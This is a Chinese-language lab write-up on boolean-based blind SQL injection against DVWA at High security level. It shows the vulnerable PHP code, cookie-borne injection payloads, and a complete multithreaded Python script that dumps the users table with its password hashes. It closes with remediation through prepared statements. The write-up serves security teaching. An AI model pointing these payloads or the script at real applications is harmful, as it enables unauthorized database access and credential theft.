SQL盲注漏洞详解 DVWA High

文章目录

    • 一、测试概述
    • 二、High级别安全机制分析
      • [2.1 后端源码](#2.1 后端源码)
      • [2.2 与Medium级别的差异](#2.2 与Medium级别的差异)
      • [2.3 安全机制缺陷](#2.3 安全机制缺陷)
    • 三、漏洞验证
      • [3.1 基础测试](#3.1 基础测试)
      • [3.2 数据库信息测试](#3.2 数据库信息测试)
      • [3.3 表信息测试](#3.3 表信息测试)
      • [3.4 列信息测试](#3.4 列信息测试)
      • [3.5 数据提取测试](#3.5 数据提取测试)
    • 四、漏洞利用过程
      • [4.1 获取数据库名](#4.1 获取数据库名)
      • [4.2 获取表信息](#4.2 获取表信息)
      • [4.3 获取列信息](#4.3 获取列信息)
      • [4.4 获取记录数](#4.4 获取记录数)
      • [4.5 提取用户数据](#4.5 提取用户数据)
    • 五、自动化利用脚本
      • [5.1 脚本说明](#5.1 脚本说明)
      • [5.2 核心函数](#5.2 核心函数)
      • [5.3 使用方法](#5.3 使用方法)
    • [六、Low vs Medium vs High 对比](#六、Low vs Medium vs High 对比)
      • [6.1 注入方式对比](#6.1 注入方式对比)
      • [6.2 绕过技巧](#6.2 绕过技巧)
    • 七、漏洞危害
      • [7.1 影响范围](#7.1 影响范围)
      • [7.2 攻击链](#7.2 攻击链)
      • [7.3 High级别防御分析](#7.3 High级别防御分析)
    • 八、修复建议
      • [8.1 当前漏洞代码](#8.1 当前漏洞代码)
      • [8.2 修复方案](#8.2 修复方案)
      • [8.3 安全最佳实践](#8.3 安全最佳实践)

一、测试概述

项目 内容
测试目标 http://192.168.0.107/DVWA/vulnerabilities/sqli_blind/
安全级别 High
漏洞类型 Boolean-based Blind SQL Injection(字符型)
测试日期 2026-06-08
测试工具 Chrome DevTools MCP + Python自动化脚本
风险等级 高危(High)

二、High级别安全机制分析

2.1 后端源码

php 复制代码
if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];
    $exists = false;

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            try {
                $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query );
            } catch (Exception $e) {
                $result = false;
            }

            $exists = false;
            if ($result !== false) {
                try {
                    $exists = (mysqli_num_rows( $result ) > 0);
                } catch(Exception $e) {
                    $exists = false;
                }
            }

            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
            break;
    }

    if ($exists) {
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
}

2.2 与Medium级别的差异

特性 Medium级别 High级别
输入来源 POST参数 $_POST['id'] Cookie $_COOKIE['id']
输入过滤 mysqli_real_escape_string 无过滤
SQL查询 WHERE user_id = $id(无引号) WHERE user_id = '$id'(有引号)
注入类型 数字型 字符型(需单引号闭合)
随机延迟 有(2-4秒,干扰时间盲注)
错误处理 try/catch抑制错误
状态码 200 未找到时返回404
LIMIT限制 LIMIT 1

2.3 安全机制缺陷

  1. 无输入过滤:Cookie值直接拼接到SQL查询,无任何过滤或转义
  2. 字符型注入:SQL查询使用引号包裹变量,需要单引号闭合
  3. 随机延迟干扰:仅在未找到用户时随机延迟2-4秒,干扰时间盲注,但不影响布尔盲注
  4. LIMIT 1限制:查询限制返回1条记录,但不影响盲注利用
  5. 错误抑制:使用try/catch抑制SQL错误,但不影响布尔盲注

三、漏洞验证

3.1 基础测试

测试 Payload 结果 状态码 结论
正常查询 1 exists 200 页面正常
无效ID 999 MISSING 404 可区分真假
真条件 1' AND '1'='1 exists 200 注入成功
假条件 1' AND '1'='2 MISSING 404 布尔盲注确认

3.2 数据库信息测试

测试 Payload 结果 结论
数据库名长度 1' AND LENGTH(DATABASE())=4 AND '1'='1 exists 长度=4
DB首字符=d 1' AND ASCII(SUBSTRING(DATABASE(),1,1))=100 AND '1'='1 exists 100='d'
DB第二字符=v 1' AND ASCII(SUBSTRING(DATABASE(),2,1))=118 AND '1'='1 exists 118='v'
DB第三字符=w 1' AND ASCII(SUBSTRING(DATABASE(),3,1))=119 AND '1'='1 exists 119='w'
DB第四字符=a 1' AND ASCII(SUBSTRING(DATABASE(),4,1))=97 AND '1'='1 exists 97='a'

结果:数据库名 = "dvwa"

3.3 表信息测试

测试 Payload 结果 结论
表数量=1 1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='dvwa')=1 AND '1'='1 exists 1个表
表名首字符=u 1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),1,1))=117 AND '1'='1 exists 117='u'

结果:1个表,表名 = "users"

3.4 列信息测试

测试 Payload 结果 结论
列数量=8 1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users')=8 AND '1'='1 exists 8列

3.5 数据提取测试

测试 Payload 结果 结论
admin首字符=a 1' AND ASCII(SUBSTRING((SELECT user FROM users LIMIT 0,1),1,1))=97 AND '1'='1 exists 97='a'
密码首字符=2 1' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1))=50 AND '1'='1 exists 50='2'

四、漏洞利用过程

4.1 获取数据库名

sql 复制代码
-- 获取数据库名长度
1' AND LENGTH(DATABASE())=4 AND '1'='1  → exists ✓

-- 逐字符猜解(使用ASCII数值比较)
1' AND ASCII(SUBSTRING(DATABASE(),1,1))=100 AND '1'='1  → exists ✓  (100 = 'd')
1' AND ASCII(SUBSTRING(DATABASE(),2,1))=118 AND '1'='1  → exists ✓  (118 = 'v')
1' AND ASCII(SUBSTRING(DATABASE(),3,1))=119 AND '1'='1  → exists ✓  (119 = 'w')
1' AND ASCII(SUBSTRING(DATABASE(),4,1))=97 AND '1'='1   → exists ✓  (97 = 'a')

结果:数据库名 = "dvwa"

4.2 获取表信息

sql 复制代码
-- 表数量
1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='dvwa')=1 AND '1'='1  → exists ✓

-- 表名(逐字符ASCII比较)
1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),1,1))=117 AND '1'='1  → exists ✓  (117 = 'u')

结果:1个表,表名 = "users"

4.3 获取列信息

sql 复制代码
-- 列数量
1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users')=8 AND '1'='1  → exists ✓

-- 列名(8列)
user_id, first_name, last_name, user, password, avatar, last_login, failed_login

4.4 获取记录数

sql 复制代码
1' AND (SELECT COUNT(*) FROM users)=5 AND '1'='1  → exists ✓

结果:5条记录

4.5 提取用户数据

user_id user first_name last_name password (MD5)
1 admin admin admin 21232f297a57a5a743894a0e4a801fc3
2 gordonb gordon brown e99a18c428cb38d5f260853678922e03
3 1337 hack me 8d3533d75ae2c3966d7e0d4fcc69216b
4 pablo pablo picasso 0d107d09f5bbe40cade3de5c71e9e9b7
5 smithy bob smith 5f4dcc3b5aa765d61d8327deb882cf99

五、自动化利用脚本

5.1 脚本说明

dvwa_blind_sqli_exploit_high.py

python 复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
DVWA SQL盲注漏洞利用脚本 - High级别
======================================
目标: http://192.168.0.107/DVWA/vulnerabilities/sqli_blind/
级别: High
类型: Boolean-based Blind SQL Injection(字符型)

High级别特点:
1. 输入来自Cookie(id参数)
2. 字符型注入: WHERE user_id = '$id'
3. 随机延迟2-4秒(干扰时间盲注)
4. 未找到用户时返回404状态码
5. 使用try/catch抑制SQL错误信息
"""

import requests
import sys
import json
import time
import io
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed

sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')

# ==================== 配置 ====================
BASE_URL = "http://192.168.0.107/DVWA/vulnerabilities/sqli_blind/"
MAX_WORKERS = 5  # High级别有随机延迟,减少并发数
REQUEST_TIMEOUT = 30

COOKIE = {
    "security": "high",
    "PHPSESSID": "fsj0kvpbl4gl3c2cb34dmpmpe5"
}

STATS = {"total_requests": 0, "start_time": None}

RESULTS = {
    "timestamp": datetime.now().isoformat(),
    "target": BASE_URL,
    "security_level": "high",
    "database_name": "",
    "tables": [],
    "columns": {},
    "data": []
}

session = requests.Session()
session.cookies.update(COOKIE)


def check_payload(payload):
    """
    High级别: 通过Cookie注入
    Payload示例: 1' AND ASCII(SUBSTRING(DATABASE(),1,1))=100 AND '1'='1
    """
    cookies = dict(COOKIE)
    cookies["id"] = payload
    try:
        resp = session.get(BASE_URL, cookies=cookies, timeout=REQUEST_TIMEOUT)
        STATS["total_requests"] += 1
        return "User ID exists" in resp.text
    except Exception as e:
        print(f"  [!] Error: {e}")
        return False


def check_batch(payloads):
    """并发检查多个Payload"""
    results = []
    
    def _check(item):
        payload, ascii_val = item
        return ascii_val if check_payload(payload) else None
    
    with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
        futures = {executor.submit(_check, item): item for item in payloads}
        for future in as_completed(futures):
            r = future.result()
            if r is not None:
                results.append(r)
    return results


def blind_extract(query, max_len=30, ascii_range=None):
    """
    盲注提取函数(Cookie注入版)
    
    原理: 通过Cookie传入payload,使用ASCII数值比较
    示例: 1' AND ASCII(SUBSTRING(({query}),{pos},1))={val} AND '1'='1
    """
    if ascii_range is None:
        ascii_range = list(range(97, 123))  # a-z
    
    result = ""
    for pos in range(1, max_len + 1):
        payloads = [
            (f"1' AND ASCII(SUBSTRING(({query}),{pos},1))={v} AND '1'='1", v)
            for v in ascii_range
        ]
        
        matched = check_batch(payloads)
        if matched:
            result += chr(matched[0])
            sys.stdout.write(chr(matched[0]))
            sys.stdout.flush()
        else:
            break
    
    print()
    return result


def get_database_name():
    """获取数据库名"""
    print("[*] Extracting database name...")
    for length in range(1, 20):
        if check_payload(f"1' AND LENGTH(DATABASE())={length} AND '1'='1"):
            print(f"[+] DB length: {length}")
            break
    
    name = blind_extract("DATABASE()", 20, list(range(97, 123)))
    print(f"[+] Database: {name}")
    RESULTS["database_name"] = name
    return name


def get_table_count(db):
    """获取表数量"""
    print(f"[*] Getting table count in {db}...")
    for i in range(1, 20):
        payload = f"1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='{db}')={i} AND '1'='1"
        if check_payload(payload):
            print(f"[+] Table count: {i}")
            return i
    return 0


def get_table_name(db, idx):
    """获取表名"""
    print(f"[*] Extracting table name[{idx}]...")
    q = f"SELECT table_name FROM information_schema.tables WHERE table_schema='{db}' LIMIT {idx},1"
    name = blind_extract(q, 30, list(range(97, 123)))
    print(f"[+] Table: {name}")
    return name


def get_column_count(table):
    """获取列数量"""
    print(f"[*] Getting column count for {table}...")
    for i in range(1, 30):
        payload = f"1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='{table}')={i} AND '1'='1"
        if check_payload(payload):
            print(f"[+] Column count: {i}")
            return i
    return 0


def get_column_name(table, idx):
    """获取列名"""
    print(f"[*] Extracting column name[{idx}]...")
    q = f"SELECT column_name FROM information_schema.columns WHERE table_name='{table}' LIMIT {idx},1"
    charset = list(range(97, 123)) + [95]  # a-z + _
    name = blind_extract(q, 30, charset)
    print(f"[+] Column: {name}")
    return name


def get_row_count(table):
    """获取记录数"""
    print(f"[*] Getting row count for {table}...")
    for i in range(1, 20):
        if check_payload(f"1' AND (SELECT COUNT(*) FROM {table})={i} AND '1'='1"):
            print(f"[+] Row count: {i}")
            return i
    return 0


def get_field(table, col, row):
    """获取字段值"""
    print(f"[*] Extracting {col}[row {row}]...")
    q = f"SELECT {col} FROM {table} LIMIT {row},1"
    charset = list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [64, 46, 95, 45, 36]
    val = blind_extract(q, 100, charset)
    print(f"[+] {col}: {val}")
    return val


def save_results():
    """保存结果到JSON"""
    with open("dvwa_blind_sqli_high_results.json", "w", encoding='utf-8') as f:
        json.dump(RESULTS, f, indent=2, ensure_ascii=False)
    print(f"\n[+] Results saved to dvwa_blind_sqli_high_results.json")


def print_stats():
    """打印性能统计"""
    elapsed = time.time() - STATS["start_time"]
    print("\n" + "=" * 60)
    print("性能统计")
    print("=" * 60)
    print(f"总请求数: {STATS['total_requests']}")
    print(f"总耗时: {elapsed:.2f} 秒 ({elapsed/60:.2f} 分钟)")
    if elapsed > 0:
        print(f"请求速度: {STATS['total_requests']/elapsed:.2f} 次/秒")
    print("=" * 60)


def main():
    """
    执行流程:
    1. 获取数据库名 → 2. 获取表数量 → 3. 获取表名
    4. 获取列数量 → 5. 获取列名 → 6. 获取记录数
    7. 逐行逐列提取数据 → 8. 保存结果
    """
    STATS["start_time"] = time.time()
    
    print("=" * 60)
    print("DVWA SQL Blind Injection Exploit - Level: High")
    print(f"并发线程: {MAX_WORKERS}")
    print("=" * 60)
    
    try:
        # 1. 数据库名
        db = get_database_name()
        
        # 2-3. 表信息
        tables = []
        for i in range(get_table_count(db)):
            tables.append(get_table_name(db, i))
        RESULTS["tables"] = tables
        print(f"[+] Tables: {', '.join(tables)}")
        
        # 4-5. 列信息
        for t in tables:
            cols = []
            for i in range(get_column_count(t)):
                cols.append(get_column_name(t, i))
            RESULTS["columns"][t] = cols
            print(f"[+] Columns in {t}: {', '.join(cols)}")
        
        # 6-7. 提取数据
        if "users" in tables:
            rows = get_row_count("users")
            print(f"\n[*] Extracting users table ({rows} rows)...")
            cols = RESULTS["columns"]["users"]
            
            for r in range(rows):
                print(f"\n--- Row {r+1} ---")
                row_data = {c: get_field("users", c, r) for c in cols}
                RESULTS["data"].append(row_data)
        
        # 8. 保存
        save_results()
        print_stats()
        print("\n[+] Done!")
        
    except KeyboardInterrupt:
        print("\n[!] Interrupted")
        save_results()
        print_stats()
    except Exception as e:
        print(f"\n[!] Error: {e}")
        save_results()
        print_stats()


if __name__ == "__main__":
    main()

核心注入技术:

python 复制代码
# High级别: 通过Cookie注入,字符型盲注
def check_payload(payload):
    cookies = dict(COOKIE)
    cookies["id"] = payload  # 将payload写入Cookie
    resp = session.get(BASE_URL, cookies=cookies, timeout=REQUEST_TIMEOUT)
    return "User ID exists" in resp.text

# Payload格式: 1' AND ASCII(SUBSTRING(({query}),{pos},1))={val} AND '1'='1

优化策略:

  • 并发请求(5线程,因随机延迟减少并发数)
  • Session复用TCP连接
  • ASCII数值比较避免字符转义问题
  • 性能统计(请求数、耗时、速度)

5.2 核心函数

python 复制代码
def blind_extract(query, max_len=30, ascii_range=None):
    """
    盲注提取函数(Cookie注入版)
    
    原理: 通过Cookie传入payload,使用ASCII数值比较
    示例: 1' AND ASCII(SUBSTRING(({query}),{pos},1))={val} AND '1'='1
    """
    for pos in range(1, max_len + 1):
        payloads = [
            (f"1' AND ASCII(SUBSTRING(({query}),{pos},1))={v} AND '1'='1", v)
            for v in ascii_range
        ]
        matched = check_batch(payloads)  # 并发检查
        if matched:
            result += chr(matched[0])

5.3 使用方法

bash 复制代码
python dvwa_blind_sqli_exploit_high.py

结果保存至 dvwa_blind_sqli_high_results.json


六、Low vs Medium vs High 对比

6.1 注入方式对比

特性 Low级别 Medium级别 High级别
注入类型 字符型 数字型 字符型
输入来源 GET参数 POST参数 Cookie
闭合方式 需要单引号 ' 无需闭合 需要单引号 '
Payload示例 1' AND '1'='1 1 AND 1=1 1' AND '1'='1
字符提取 SUBSTRING(...)='a' ASCII(SUBSTRING(...))=97 ASCII(SUBSTRING(...))=97
输入过滤 mysqli_real_escape_string
随机延迟 有(2-4秒)
错误抑制 try/catch

6.2 绕过技巧

级别 防御措施 绕过方法
Low 直接注入
Medium mysqli_real_escape_string + 数字型 使用ASCII()数值比较
High Cookie输入 + 随机延迟 + 错误抑制 Cookie注入 + 布尔盲注(不受延迟影响)

七、漏洞危害

7.1 影响范围

危害类型 程度 说明
数据泄露 严重 获取全部用户数据(含密码哈希)
数据篡改 严重 可修改/删除数据库内容
权限提升 严重 获取管理员账户

7.2 攻击链

复制代码
Cookie注入 → 字符型盲注 → ASCII数值比较 → 枚举数据库结构 → 提取用户凭证

7.3 High级别防御分析

防御措施 效果 说明
Cookie输入 无效 Cookie可被客户端修改
随机延迟 无效 仅干扰时间盲注,不影响布尔盲注
错误抑制 无效 仅抑制错误信息,不影响布尔响应
LIMIT 1 无效 仅限制返回记录数,不影响盲注

八、修复建议

8.1 当前漏洞代码

php 复制代码
$id = $_COOKIE[ 'id' ];
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query );

8.2 修复方案

方案1:参数化查询(推荐)

php 复制代码
$id = $_COOKIE[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = ? LIMIT 1;";
$stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], $query);
mysqli_stmt_bind_param($stmt, "s", $id);  // 's' 表示字符串类型
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

方案2:输入验证 + 类型转换

php 复制代码
$id = $_COOKIE[ 'id' ];
// 验证是否为数字
if (!is_numeric($id)) {
    die("Invalid input");
}
$id = (int)$id;  // 强制转换为整数
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;";

8.3 安全最佳实践

措施 优先级 说明
参数化查询 使用预处理语句,从根本上防止注入
输入验证 对所有用户输入进行验证和过滤
最小权限 数据库账户使用最小必要权限
WAF防护 部署Web应用防火墙
Cookie安全 对Cookie值进行验证,不信任客户端数据

相关推荐
X7x52 小时前
重塑安全边界:PDRR模型如何构建数字时代的韧性防线
网络安全·网络攻击模型·安全威胁分析·安全架构·pdrr模型
大方子4 小时前
【好靶场】PDF也可以有XSS1
网络安全·好靶场
学逆向的6 小时前
C++模板
开发语言·c++·网络安全
2601_955505258 小时前
自然人身份确权可信基础设施赋能身份风险等级标签合规
人工智能·网络安全·金融·健康医疗·媒体·教育电商·政务
百度安全8 小时前
2025 百度 ESG 报告发布:以 AI 筑盾,共建可信数字生态
人工智能·网络安全
云安全助手9 小时前
国内调用GPT的现实困境与聚合平台解决方案探析
网络·人工智能·网络安全·ai大模型
持敬chijing1 天前
Web渗透之前后端漏洞-文件包含漏洞
前端·安全·web安全·网络安全·网络攻击模型·安全威胁分析
lcreek1 天前
SQL 注入漏洞详解:从原理到防御的完整学习指南
网络安全·sql注入
持敬chijing1 天前
Web渗透之前后端漏洞-文件上传漏洞-过滤绕过与配置文件漏洞-条件竞争漏洞
前端·安全·web安全·网络安全·网络攻击模型·安全威胁分析